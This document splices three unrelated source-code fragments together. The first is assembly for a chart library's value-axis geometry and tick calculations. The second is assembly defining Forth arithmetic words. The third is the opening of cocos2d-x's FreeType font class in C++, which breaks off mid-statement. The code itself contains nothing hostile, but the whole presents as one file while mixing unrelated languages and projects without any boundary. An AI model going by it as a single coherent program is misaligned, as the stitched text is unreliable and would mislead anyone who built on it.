Drop 10^x call FloatDrop ; Drop max labels call FloatDrop ; Drop (max-min) call FloatDrop ; drop diffO .leave ret ComputeMajorTickUnit endp MajorTickTable FloatNum <0,0,0,0x8000,<0,0x3fff>>, ; 1 <0,0,0,0x8000,<0,0x4000>>, ; 2 <0,0,0,0xA000,<0,0x4001>> ; 5 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ComputeMinorTickUnit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compute the minor tick unit for an axis. CALLED BY: ValueAxisComputeTickUnits PASS: ds:di = Axis instance RETURN: Axis instance with AI_tickMinorUnit set DESTROYED: nothing PSEUDO CODE/STRATEGY: For now, just go with (majorUnit/2) KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 11/11/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ComputeMinorTickUnit proc near class AxisClass uses ax, dx, di, si, es .enter lea si, ds:[di].AI_tickMajorUnit ; Push major unit call FloatPushNumber call Float2 call FloatDivide ; Compute major/divisor segmov es, ds, ax ; es:di <- destination lea di, ds:[di].AI_tickMinorUnit call FloatPopNumber ; Pop major/2 .leave ret ComputeMinorTickUnit endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ComputeIntersectionPosition %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compute the position of the related axis. CALLED BY: ValueAxisBuild PASS: ds:di = Axis instance RETURN: Axis instance with AI_intersect set DESTROYED: nothing PSEUDO CODE/STRATEGY: if (Sign(axis.min) != Sign(axis.max)) { ** Different signs. Place the related axis at 0 axis.intersect = 0 } else if (Sign(axis.min) == Sign(-1)) { ** Both negative. Place related axis at the top axis.intersect = axis.max } else { ** Both positive. Place related axis at the bottom axis.intersect = axis.min } KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 11/11/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ComputeIntersectionPosition proc near class AxisClass uses ax, cx, si, di, ds, es .enter ; ; Get the sign of the minimum. ; lea si, ds:[di].AI_min ; Push minimum call FloatPushNumber call FloatLt0 ; carry set if (min < 0) mov al, 0 ; Assume positive jnc gotMinSign mov al, 1 gotMinSign: ; ; Get the sign of the maximum ; lea si, ds:[di].AI_max ; Push maximum call FloatPushNumber call FloatLt0 ; carry set if (max < 0) mov ah, 0 ; Assume positive jnc gotMaxSign mov ah, 1 gotMaxSign: segmov es, ds, si ; es:di <- instance ptr ; ; al = Sign of minimum (0 for positive) ; ah = Sign of maximum (0 for positive) ; es:di = Instance ptr ; cmp al, ah ; Check for same sign je sameSign ; Branch if same sign ; ; Different signs. Place a zero in the AI_intersect field ; segmov ds, cs, si ; ds:si <- source mov si, offset cs:crapZeroNum jmp copyNum sameSign: tst al ; Check for positive jz bothPositive ; Branch if both positive ; ; Both are negative. Put the max into the intersection position ; lea si, ds:[di].AI_max jmp copyNum bothPositive: ; ; Both are positive. Put the min into the intersection position ; lea si, ds:[di].AI_min copyNum: ; ; ds:si = Pointer to the number to copy ; es:di = Instance ptr ; lea di, es:[di].AI_intersect ; es:di <- destination MovMem <size FloatNum> .leave ret ComputeIntersectionPosition endp crapZeroNum FloatNum <0,0,0,0,<0,0>> ; zero COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ComputeNumLabels %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compute the number of labels for a value axis CALLED BY: ValueAxisComputeTickUnits PASS: *ds:si - axis object RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: numLabels = FLOOR((Max - Min)/tickMajorUnit) + 1 KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 12/ 3/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ComputeNumLabels proc near class AxisClass uses ax,di,si .enter mov di, ds:[si] lea si, ds:[di].AI_max call FloatPushNumber lea si, ds:[di].AI_min call FloatPushNumber call FloatSub lea si, ds:[di].AI_tickMajorUnit call FloatPushNumber call FloatDivide call FloatFloor call FloatFloatToDword inc ax mov ds:[di].AI_numLabels, ax .leave ret ComputeNumLabels endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ComputeNumMinorTicks %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Will compute the number of minor ticks. CALLED BY: TickEnumCommon PASS: *ds:si - axis object RETURN: dx DESTROYED: nothing PSEUDO CODE/STRATEGY: numMinorTicks = FLOOR((Max - Min)/tickMinorUnit) + 1 REVISION HISTORY: Name Date Description ---- ---- ----------- PT 6/ 2/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ComputeNumMinorTicks proc near class AxisClass uses ax,di,si .enter mov di, ds:[si] lea si, ds:[di].AI_max call FloatPushNumber lea si, ds:[di].AI_min call FloatPushNumber call FloatSub ; fp = max - min lea si, ds:[di].AI_tickMinorUnit call FloatPushNumber call FloatDivide ; fp = fp/minorUnits call FloatFloor ; fp = floor(fp) call FloatFloatToDword inc ax ; fp = fp + 1 mov_tr dx, ax ; numMinorTicks .leave ret ComputeNumMinorTicks endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ValueAxisRecalcSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Begin geometry calculations for this axis PASS: *ds:si = ValueAxisClass object ds:di = ValueAxisClass instance data es = Segment of ValueAxisClass. cx, dx = suggested size RETURN: cx, dx - axis size DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: For a VERTICAL axis: calc left/right distances guess top/bottom distances For a HORIZONTAL axis: calc top/bottom distances guess left/right distances KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 1/ 9/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ValueAxisRecalcSize method dynamic ValueAxisClass, MSG_CHART_OBJECT_RECALC_SIZE uses ax axisSize local Point push dx, cx .enter ; ; Figure the best position for the related axis. ; call ComputeIntersectionPosition call ValueAxisComputeMaxLabelSize test ds:[di].AI_attr, mask AA_VERTICAL jnz vertical ; HORIZONTAL: ; SET SIZE ; WIDTH = max(MIN_PLOT_DISTANCE + maxLabelWidth, passed width) mov ax, ds:[di].AI_maxLabelSize.P_x add ax, AXIS_MIN_PLOT_DISTANCE Max cx, ax mov axisSize.P_x, cx ; HEIGHT = AXIS_STANDARD_AXIS_HEIGHT + maxLabelHeight mov ax, AXIS_STANDARD_AXIS_HEIGHT add ax, ds:[di].AI_maxLabelSize.P_y mov axisSize.P_y, ax ; SET PLOT BOUNDS: ; Left = labelWidth/2 ; Right = axis width - labelWidth/2 ; Top = AXIS_ABOVE_HEIGHT ; Bottom = AXIS_ABOVE_HEIGHT mov ax, ds:[di].AI_maxLabelSize.P_x shr ax sub cx, ax mov ds:[di].AI_plotBounds.R_left, ax mov ds:[di].AI_plotBounds.R_right, cx mov ds:[di].AI_plotBounds.R_top, AXIS_ABOVE_HEIGHT mov ds:[di].AI_plotBounds.R_bottom, AXIS_ABOVE_HEIGHT jmp done vertical: ; Set size: ; HEIGHT = max(MIN_PLOT_DISTANCE + maxLabelHeight, passed height) mov ax, ds:[di].AI_maxLabelSize.P_y add ax, AXIS_MIN_PLOT_DISTANCE Max dx, ax mov axisSize.P_y, dx ; WIDTH = maxLabelWidth + tick width mov ax, ds:[di].AI_maxLabelSize.P_x mov bx, ax add ax, AXIS_STANDARD_AXIS_WIDTH mov axisSize.P_x, ax ; Set plot bounds ; Left = maxLabelSize.P_x + tickWidth/2 ; Right = Left ; Top = maxLabelHeight/2 ; Bottom = (axis height) - maxLabelHeight/2 mov ax, ds:[di].AI_maxLabelSize.P_y shr ax, 1 sub dx, ax mov ds:[di].AI_plotBounds.R_top, ax mov ds:[di].AI_plotBounds.R_bottom, dx add bx, AXIS_LEFT_WIDTH mov ds:[di].AI_plotBounds.R_left, bx mov ds:[di].AI_plotBounds.R_right, bx done: ; ; Pass new size up to superclass ; movP cxdx, axisSize .leave mov di, offset ValueAxisClass GOTO ObjCallSuperNoLock ValueAxisRecalcSize endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ValueAxisComputeMaxLabelSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Figure out the maximum x/y size of a label CALLED BY: ValueAxisRecalcSize PASS: *ds:si - axis RETURN: nothing -- AI_maxLabelSize fields filled in DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/18/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ValueAxisComputeMaxLabelSize proc near uses ax,bx,cx,dx,si,di,bp class ValueAxisClass .enter DerefChartObject ds, si, di test ds:[di].AI_tickAttr, mask ATA_LABELS jz noLabels call UtilCreateGStateForTextCalculations ; bp - gstate lea bx, ds:[di].AI_max call AxisGetNumberWidth mov cx, ax ; width of "MAX" lea bx, ds:[di].AI_min call AxisGetNumberWidth Max ax, cx mov ds:[di].AI_maxLabelSize.P_x, ax push di mov di, bp call GrDestroyState pop di ; ; For height -- use font height ; call UtilGetTextLineHeight mov ds:[di].AI_maxLabelSize.P_y, ax done: .leave ret noLabels: clr ds:[di].AI_maxLabelSize.P_x clr ds:[di].AI_maxLabelSize.P_y jmp done ValueAxisComputeMaxLabelSize endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ValueAxisGeometryPart2 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Finish the geometry for this axis. PASS: *ds:si = ValueAxisClass object ds:di = ValueAxisClass instance data es = Segment of ValueAxisClass. RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 1/ 9/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ValueAxisGeometryPart2 method dynamic ValueAxisClass, MSG_AXIS_GEOMETRY_PART_2 uses ax,cx,dx,bp .enter push di mov di, offset ValueAxisClass call ObjCallSuperNoLock pop di call ValueAxisComputeTickUnits .leave ret ValueAxisGeometryPart2 endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AxisGetNumberWidth %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the width of a number on the floating-point stack. CALLED BY: ValueAxisComputeMaxLabelSize PASS: ds:bx - floating point number *ds:si - axis object ^hbp - gstate handle RETURN: ax - width DESTROYED: nothing PSEUDO CODE/STRATEGY: Create a gstate fetch the text attributes from the first text object (or the GOAM text if none exist) apply them to the gstate If necessary: Concatenate a ".5" at then end, because the purpose of this routine is to deal with maximum widths. get the width destroy the gstate KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 1/10/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AxisGetNumberWidth proc near uses bx,cx,dx,di,si,ds,es,bp .enter push si mov si, bx call FloatPushNumber pop si sub sp, CHART_TEXT_BUFFER_SIZE segmov es, ss mov di, sp ; ; Convert number to ascii ; call AxisFloatToAscii segmov ds, es, si mov si, di ; ; Create gstate, and get width of string ; mov di, bp ; gstate clr cx ; null-term text call GrTextWidth push dx ; get width of ".5" mov bx, handle StringUI call MemLock mov ds, ax assume ds:StringUI mov si, ds:[Point5] assume ds:dgroup call GrTextWidth call MemUnlock ; ; Add the widths together ; pop ax add ax, dx add ax, NUMBER_WIDTH_FUDGE_FACTOR ; ; clean up ; add sp, CHART_TEXT_BUFFER_SIZE .leave ret AxisGetNumberWidth endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ValueAxisCombineNotificationData %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Combine notification data for value axis PASS: *ds:si = ValueAxisClass object ds:di = ValueAxisClass instance data es = Segment of ValueAxisClass. cx = handle of AxisNotificationBlock RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 1/16/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ValueAxisCombineNotificationData method dynamic ValueAxisClass, MSG_AXIS_COMBINE_NOTIFICATION_DATA uses ax,dx,bp .enter mov di, offset ValueAxisClass call ObjCallSuperNoLock mov bx, cx call MemLock mov es, ax push bx ; save notification handle DerefChartObject ds, si, bx test es:[CNBH_flags], mask CCF_FOUND_VALUE_AXIS jz firstOne ; calculate diffs for min/max/major/minor mov al, mask AFD_MIN lea si, ds:[bx].AI_min lea di, es:[ANB_min] call CalcFloatDiff mov al, mask AFD_MAX lea si, ds:[bx].AI_max lea di, es:[ANB_max] call CalcFloatDiff mov al, mask AFD_TICK_MAJOR_UNIT lea si, ds:[bx].AI_tickMajorUnit lea di, es:[ANB_tickMajorUnit] call CalcFloatDiff mov al, mask AFD_TICK_MINOR_UNIT lea si, ds:[bx].AI_tickMinorUnit lea di, es:[ANB_tickMinorUnit] call CalcFloatDiff done: pop bx call MemUnlock .leave ret firstOne: ; hack! min/max/major/minor are in same order and ; contiguous in both the instance data and the notification ; block. CheckHack <offset ANB_max eq offset ANB_min + size FloatNum> CheckHack <offset ANB_tickMajorUnit eq offset ANB_max + size FloatNum> CheckHack <offset ANB_tickMinorUnit eq offset ANB_tickMajorUnit + size FloatNum> CheckHack <offset AI_max eq offset AI_min + size FloatNum> CheckHack <offset AI_tickMajorUnit eq offset AI_max + size FloatNum> CheckHack <offset AI_tickMinorUnit eq offset AI_tickMajorUnit + size FloatNum> lea si, ds:[bx].AI_min mov di, offset ANB_min MovMem <size FloatNum> BitSet es:[CNBH_flags], CCF_FOUND_VALUE_AXIS jmp done ValueAxisCombineNotificationData endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CalcFloatDiff %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Check if 2 floats are different (just does a repe cmpsw, which might not be the best way...) CALLED BY: ValueAxisCombineNotificationData PASS: ds:si - float #1 es:di - float #2 (es - AxisNotifyBlock) al - mask in AxisFloatDiffs record of floating point number to check RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 1/16/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CalcFloatDiff proc near uses cx .enter mov ah, es:[ANB_floatDiffs] and ah, al ; only check this one bit jnz done ; bit is already set. mov cx, size FloatNum/2 repe cmpsw jz done or es:[ANB_floatDiffs], al done: .leave ret CalcFloatDiff endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ValueAxisSetSeries %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Set the range of series that this axis covers PASS: *ds:si = ValueAxisClass object ds:di = ValueAxisClass instance data es = Segment of ValueAxisClass. cl = first series ch = last series RETURN: nothing DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/11/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ValueAxisSetSeries method dynamic ValueAxisClass, MSG_VALUE_AXIS_SET_SERIES .enter mov ds:[di].VAI_firstSeries, cl mov ds:[di].VAI_lastSeries, ch .leave ret ValueAxisSetSeries endm AxisCode ends
; ---------------------------------------------------------------------- ; MATHEMATICS WORDS HSTOD: DB ^4 "S->" ^'D' ; ***** S->D DW HCOLD STOD: DW STOD0 STOD0: CLW R1 ; Assume high word zero INW SP ; Get operand high byte LDR SP ; : CPI 0 ; Negative? BMI STOD10 ; YES: Push 0xFFFF DEW SP ; : JPA PUSH ; NO: Push 0x0000 STOD10: DEW SP ; : DEW R1 ; Make 0x0000 into 0xFFFF JPA PUSH ; Done HPM: DB ^2 "+" ^'-' ; ***** +- DW HSTOD PM: DW DOCOL ZLESS ZBRAN +PM10 DW MINUS PM10: DW SEMIS HDPM: DB ^3 "D+" ^'-' ; ***** D+- DW HPM DPM: DW DOCOL ZLESS ZBRAN +DPM10 DW DMINU DPM10: DW SEMIS HABS: DB ^3 "AB" ^'S' ; ***** ABS DW HDPM ABS: DW DOCOL DUP PM SEMIS HDABS: DB ^4 "DAB" ^'S' ; ***** DABS DW HABS DABS: DW DOCOL DUP DPM SEMIS HMIN: DB ^3 "MI" ^'N' ; ***** MIN DW HDABS MIN: DW DOCOL OVER OVER GREAT ZBRAN +MIN10 DW SWAP MIN10: DW DROP SEMIS HMAX: DB ^3 "MA" ^'X' ; ***** MAX DW HMIN MAX: DW DOCOL OVER OVER LESS ZBRAN +MAX10 DW SWAP MAX10: DW DROP SEMIS HMSTAR: DB ^2 "M" ^'*' ; ****** M* DW HMAX MSTAR: DW DOCOL OVER OVER XOR TOR ABS SWAP ABS DW USTAR FROMR DPM SEMIS HMSLAS: DB ^2 "M" ^'/' ; ***** M/ DW HMSTAR MSLAS: DW DOCOL OVER TOR TOR DABS R ABS DW USLAS FROMR R XOR PM SWAP DW FROMR PM SWAP SEMIS HSTAR: DB ^1 ^'*' ; ***** * DW HMSLAS STAR: DW DOCOL MSTAR DROP SEMIS HSLMOD: DB ^4 "/MO" ^'D' ; ***** /MOD DW HSTAR SLMOD: DW DOCOL TOR STOD FROMR MSLAS SEMIS HSLAS: DB ^1 ^'/' ; ***** / DW HSLMOD SLASH: DW DOCOL SLMOD SWAP DROP SEMIS HMOD: DB ^3 "MO" ^'D' ; ***** MOD DW HSLAS MOD: DW DOCOL SLMOD DROP SEMIS HSSMOD: DB ^5 "*/MO" ^'D' ; ***** */MOD DW HMOD SSMOD: DW DOCOL TOR MSTAR FROMR MSLAS SEMIS HSSLA: DB ^2 "*" ^'/' ; ***** */ DW HSSMOD SSLA: DW DOCOL SSMOD SWAP DROP SEMIS HMSMOD: DB ^5 "M/MO" ^'D' ; ***** M/MOD DW HSSMOD MSMOD: DW DOCOL TOR ZERO R USLAS FROMR DW SWAP TOR USLAS FROMR SEMIS
/**************************************************************************** Copyright (c) 2013 Zynga Inc. Copyright (c) 2013-2016 Chukong Technologies Inc. http://www.cocos2d-x.org Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ****************************************************************************/ #include "2d/CCFontFreeType.h" #include FT_BBOX_H #include "edtaa3func.h" #include "2d/CCFontAtlas.h" #include "base/CCDirector.h" #include "base/ccUTF8.h" #include "platform/CCFileUtils.h" NS_CC_BEGIN FT_Library FontFreeType::_FTlibrary; bool FontFreeType::_FTInitialized = false; const int FontFreeType::DistanceMapSpread = 3; const char* FontFreeType::_glyphASCII = "\"!#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþ "; const char* FontFreeType::_glyphNEHE = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ "; typedef struct _DataRef { Data data; unsigned int referenceCount; }DataRef; static std::unordered_map<std::string, DataRef> s_cacheFontData; FontFreeType * FontFreeType::create(const std::string &fontName, float fontSize, GlyphCollection glyphs, const char *customGlyphs,bool distanceFieldEnabled /* = false */,int outline /* = 0 */) { FontFreeType *tempFont = new FontFreeType(distanceFieldEnabled,outline); if (!tempFont) return nullptr; tempFont->setGlyphCollection(glyphs, customGlyphs); if (!tempFont->createFontObject(fontName, fontSize)) { delete tempFont; return nullptr; } return tempFont; } bool FontFreeType::initFreeType() { if (_FTInitialized == false) { // begin freetype if (FT_Init_FreeType( &_FTlibrary )) return false; _FTInitialized = true; } return _FTInitialized; } void FontFreeType::shutdownFreeType() { if (_FTInitialized == true) { FT_Done_FreeType(_FTlibrary); s_cacheFontData.clear(); _FTInitialized = false; } } FT_Library FontFreeType::getFTLibrary() { initFreeType(); return _FTlibrary; } FontFreeType::FontFreeType(bool distanceFieldEnabled /* = false */,int outline /* = 0 */) : _fontRef(nullptr) , _stroker(nullptr) , _distanceFieldEnabled(distanceFieldEnabled) , _outlineSize(0.0f) , _lineHeight(0) , _fontAtlas(nullptr) , _encoding(FT_ENCODING_UNICODE) , _usedGlyphs(GlyphCollection::ASCII) { if (outline > 0) { _outlineSize = outline * CC_CONTENT_SCALE_FACTOR(); FT_Stroker_New(FontFreeType::getFTLibrary(), &_stroker); FT_Stroker_Set(_stroker, (int)(_outlineSize * 64), FT_STROKER_LINECAP_ROUND, FT_STROKER_LINEJOIN_ROUND, 0); } } bool FontFreeType::createFontObject(const std::string &fontName, float fontSize) { FT_Face face; // save font name locally _fontName = fontName; auto it = s_cacheFontData.find(fontName); if (it != s_cacheFontData.end()) { (*it).second.referenceCount += 1; } else { s_cacheFontData[fontName].referenceCount = 1; s_cacheFontData[fontName].data = FileUtils::getInstance()->getDataFromFile(fontName); if (s_cacheFontData[fontName].data.isNull()) { return false; } } if (FT_New_Memory_Face(getFTLibrary(), s_cacheFontData[fontName].data.getBytes(), s_cacheFontData[fontName].data.getSize(), 0, &face )) return false; if (FT_Select_Charmap(face, FT_ENCODING_UNICODE)) { int foundIndex = -1; for (int charmapIndex = 0; charmapIndex < face->num_charmaps; charmapIndex++) { if (face->charmaps[charmapIndex]->encoding != FT_ENCODING_NONE) { foundIndex = charmapIndex; break; } } if (foundIndex == -1) { return false; } _encoding = face->charmaps[foundIndex]->encoding; if (FT_Select_Charmap(face, _encoding)) { return false; } } // set the requested font size int dpi = 72; int fontSizePoints = (int)(64.f * fontSize * CC_CONTENT_SCALE_FACTOR()); if (FT_Set_Char_Size(face, fontSizePoints, fontSizePoints, dpi, dpi)) return false; // store the face globally _fontRef = face; _lineHeight = static_cast<int>(_fontRef->size->metrics.height >> 6); // done and good return true; } FontFreeType::~FontFreeType() { if (_FTInitialized) { if (_stroker) { FT_Stroker_Done(_stroker); } if (_fontRef) { FT_Done_Face(_fontRef); } } s_cacheFontData[_fontName].referenceCount -= 1; if (s_cacheFontData[_fontName].referenceCount == 0) { s_cacheFontData.erase(_fontName); } } FontAtlas * FontFreeType::createFontAtlas() { if (_fontAtlas == nullptr) { _fontAtlas = new (std::nothrow) FontAtlas(*this); if (_fontAtlas && _usedGlyphs != GlyphCollection::DYNAMIC) { std::u16string utf16; if (StringUtils::UTF8ToUTF16(getGlyphCollection(), utf16)) { _fontAtlas->prepareLetterDefinitions(utf16); } } this->autorelease(); } return _fontAtlas; } int * FontFreeType::getHorizontalKerningForTextUTF16(const std::u16string& text, int &outNumLetters) const { if (!_fontRef) return nullptr; outNumLetters = static_cast<int>(text.length()); if (!outNumLetters) return nullptr; int *sizes = new (std::nothrow) int[outNumLetters]; if (!sizes) return nullptr; memset(sizes,0,outNumLetters * sizeof(int)); bool hasKerning = FT_HAS_KERNING( _fontRef ) != 0; if (hasKerning) { for (int c = 1; c < outNumLetters; ++c) { sizes[c] = getHorizontalKerningForChars(text[c-1], text[c]); } } return sizes; } int FontFreeType::getHorizontalKerningForChars(unsigned short firstChar, unsigned short secondChar) const { // get the ID to the char we need int glyphIndex1 = FT_Get_Char_Index(_fontRef, firstChar); if (!glyphIndex1) return 0; // get the ID to the char we need int glyphIndex2 = FT_Get_Char_Index(_fontRef, secondChar); if (!glyphIndex2) return 0; FT_Vector kerning; if (FT_Get_Kerning( _fontRef, glyphIndex1, glyphIndex2, FT_KERNING_DEFAULT, &kerning)) return 0; return (static_cast<int>(kerning.x >> 6)); } int FontFreeType::getFontAscender() const { return (static_cast<int>(_fontRef->size->metrics.ascender >> 6)); } const char* FontFreeType::getFontFamily() const { if (!_fontRef) return nullptr; return _fontRef->family_name; } unsigned char* FontFreeType::getGlyphBitmap(unsigned short theChar, long &outWidth, long &outHeight, Rect &outRect,int &xAdvance) { bool invalidChar = true; unsigned char* ret = nullptr; do { if (_fontRef == nullptr) break; if (_distanceFieldEnabled) { if (FT_Load_Char(_fontRef, theChar, FT_LOAD_RENDER | FT_LOAD_NO_HINTING | FT_LOAD_NO_AUTOHINT)) break; } else { if (FT_Load_Char(_fontRef, theChar, FT_LOAD_RENDER | FT_LOAD_NO_AUTOHINT)) break; } auto& metrics = _fontRef->glyph->metrics; outRect.origin.x = metrics.horiBearingX >> 6; outRect.origin.y = -(metrics.horiBearingY >> 6); outRect.size.width = (metrics.width >> 6); outRect.size.height = (metrics.height >> 6); xAdvance = (static_cast<int>(_fontRef->glyph->metrics.horiAdvance >> 6)); outWidth = _fontRef->glyph->bitmap.width; outHeight = _fontRef->glyph->bitmap.rows; ret = _fontRef->glyph->bitmap.buffer; if (_outlineSize > 0 && outWidth > 0 && outHeight > 0) { auto copyBitmap = new (std::nothrow) unsigned char[outWidth * outHeight]; memcpy(copyBitmap,ret,outWidth * outHeight * sizeof(unsigned char)); FT_BBox bbox; auto outlineBitmap = getGlyphBitmapWithOutline(theChar,bbox); if(outlineBitmap == nullptr) { ret = nullptr; delete [] copyBitmap; break; } long glyphMinX = outRect.origin.x; long glyphMaxX = outRect.origin.x + outWidth; long glyphMinY = -outHeight - outRect.origin.y; long glyphMaxY = -outRect.origin.y; auto outlineMinX = bbox.xMin >> 6; auto outlineMaxX = bbox.xMax >> 6; auto outlineMinY = bbox.yMin >> 6; auto outlineMaxY = bbox.yMax >> 6; auto outlineWidth = outlineMaxX - outlineMinX; auto outlineHeight = outlineMaxY - outlineMinY; auto blendImageMinX = MIN(outlineMinX, glyphMinX); auto blendImageMaxY = 